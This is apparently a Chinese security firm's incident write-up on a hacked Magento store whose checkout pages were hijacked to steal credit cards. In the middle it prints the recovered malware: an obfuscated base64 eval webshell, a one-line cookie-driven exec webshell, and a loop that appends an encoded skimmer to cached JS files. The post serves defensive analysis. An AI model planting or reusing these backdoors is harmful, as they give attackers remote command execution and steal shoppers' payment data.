處理Magento網站被駭客入侵和篡改
Magento是最受歡迎的外貿電商框架之一,很多企業已經在其基礎上進行了二次開發。然而,對於使用2.x版本的老系統來說,安全問題也成為了一大難題。有些客戶在找我們ESAFE做網站安全服務之前,客戶也找過建站的公司去清除後門,建站公司也將系統遷移升級到了最新的2.4.4版本,但後來發現問題並沒有完全的解決,還是會反復的被篡改代碼和使用者的支付頁面被劫持跳轉,問題的根源是代碼裡已經被駭客植入後門了,資料庫也被留了木馬病毒,這個時候不光是要升級magento到最新版本,還得要把木馬後門給徹底的清理掉,做好安全加固和防護,才能徹底的解決這個問題。
因為2022年以前的Maganto 2.x版本存在很多漏洞,像遠端代碼執行漏洞、SQL注入漏洞都是比較高危的,如果不及時升級到2.x版本就很容易被駭客攻擊。但是,即使升級到2.x版本,也不代表完全解決了安全問題。因此,針對這種情況,企業需要認真評估自身的安全風險,並採取措施進行安全加固。具體來說,可以通過加強存取控制、強化資料保護等方式來提高系統安全性。同時,定期對系統進行漏洞掃描和代碼安全審計,及時修補代碼漏洞和加強網站的安全防護,也是減輕安全風險的有效措施。
我們ESAFE安全處理了很多外貿客戶使用magento被駭客入侵的安全問題,雖然在國內Magento並不被廣泛使用,但它在國外卻十分流行。然而,一些老版本的Magento很容易被攻擊者通過框架拿shell等方式入侵。以下就是我們ESAFE安全處理客戶的magento被駭客攻擊的過程記錄:
排查駭客攻擊的問題時,很容易陷入只分析日誌等細節的誤區。其實,在進行任何分析之前,我們都需要先做以下幾件事情:
第一,核實資訊。這就像是我們在找錯問題之前,需要先瞭解出現問題的具體細節和當前伺服器的環境情況。
第二,斷開伺服器的外網連結,保障安全。這就像是把自家的大門關上,不讓壞人輕鬆進入。
第三,保存伺服器的環境,以及現場的各種資訊,如埠網路、應用程式、日誌檔等。這樣,就像是在證據鏈中留下關鍵的線索,更有利於我們查找和分析問題,而且要注意不要有寫操作哦!
在現場環境中,雖然我們可能無法找到確切的問題所在,但是可以通過查看歷史日誌,來檢查是否存在伺服器linux系統被提權等可疑行為。如果使用了chkrootkit、rkthunter和lynis等安全掃描工具,也未發現任何問題,那還是建議客戶考慮更換伺服器,以避免潛在的安全風險。
我們ESAFE安全首先從web層面去看,分析了網站訪問日誌,nginx日誌,資料庫日誌發現有許多駭客攻擊的痕跡,利用的都是Magento的一些高危漏洞進行的,也可以說明網站被入侵是由於magento低版本存在漏洞導致,我們立即展開對系統以及原始程式碼的安全審計,人工去分析每一行代碼,通過我們的檢測,發現4個木馬後門,如下:
<?php $VKGPOZ="JG\1061dGhfcGFzcyA9ICI2Yz\x454NmIwY2\x45\x34ZjFmY2JiO\107I0NGRmO\104gy\x4dTZl\x4dGNkN\x69I7CiRjb2xvc\x69A\x39ICIjZG\x59\061IjsKJGRlZm\x46\061bHRf\131\127\x4e0aW9uI\1040g\112\060ZpbGVz\124\127FuJzsKJGR\x6cZ\x6d\x461bH\x52fdXNlX2F\161YXg\147PSB0\x63\x6e\126\x6c\x4fwokZ\107VmYXVsdF9ja\x47Fyc2V0ID0gJ1dpbmRvd3MtMT\1111\115\x53\x637\103\147ppZighZ\x571\x77dHkoJF\071TRVJWRV\x4ab\x4a0hU\126FBfVVNFUl9B\x520VOV\x43d\144\113Skgew\157gICA\x67JH\x56zZXJBZ\062VudHM\147\120\123Bhcn\112heSgiR2\071v\x5a2x\x6cIiwg\111\x6c\116sdXJw\x49\151wgI\x6b1\x54Tk\112vdCI\163\x49C\112pYV9hcmN\157aXZlcibmMo\1122\x46jdGl\x76bicgLi\101kX1BP\x551R\x62\1122\105\x6e\x58\123k7CmV4aXQ7Cg=\075"; eval(base64_decode($VKGPOZ)); ?>
bmMo\1122\x46jdGl\x76bicgLi\101kX1BP\x551R\x62\1122\105\x6e\x58\123k7CmV4aXQ7Cg=\075"; eval(base64_decode($VKGPOZ)); ?>
<?php
var_dump(@exec(base64_decode($_COOKIE['callback'])));?>
foreach (glob("/www/wwwroot/dev.******.com/pub/static/_cache/merged/*.js") as $filename) {
if (!preg_match("/lG68xv3NXN/", file_get_contents($filename))) {
file_put_contents($filename, base64_decode($implant), FILE_APPEND);
echo "updated: {$filename}\n";
} else {
echo "ok: {$filename}\n";
}
}
通過上面的代碼我們可以發現都是一些webshell木馬後門,像filemanPHP大馬,一句話木馬,以及定時篡改網站全部JS功能的代碼,通過分析,我們ESAFE安全發現駭客入侵的目的不是為了掛馬和掛黑鏈,而是為了盜取使用者的信用卡資訊,用於盜刷。我們對駭客植入到JS的代碼進行了分析與解密,發現該JS代碼是用來記錄使用者的信用卡資訊,針對Magento支付相關頁面(onepage|checkout|onestep|payment|transaction)中所有的表單資訊,也會判斷來路是從
const domains =["securecode.com","psncdn.com","googleadservices.com","googletagmanager.com","google.com"];"apprater.net","shopperapproved.com","chromecast-setup.com","ssl-images-amazon.com","google.com"];的使用者,會將信用卡的資訊POST發送到駭客的指定網站上。
看來駭客的目的就是為了要盜取使用者的信用卡資訊,用於盜刷來獲取巨大的利益。道高一尺魔高一丈,我們ESAFE安全十多年來一直與黑灰產進行對抗,通過此次幫客戶處理的magento的安全問題,我們又總結了新的經驗,也希望分享這個處理過程讓大家有所收穫。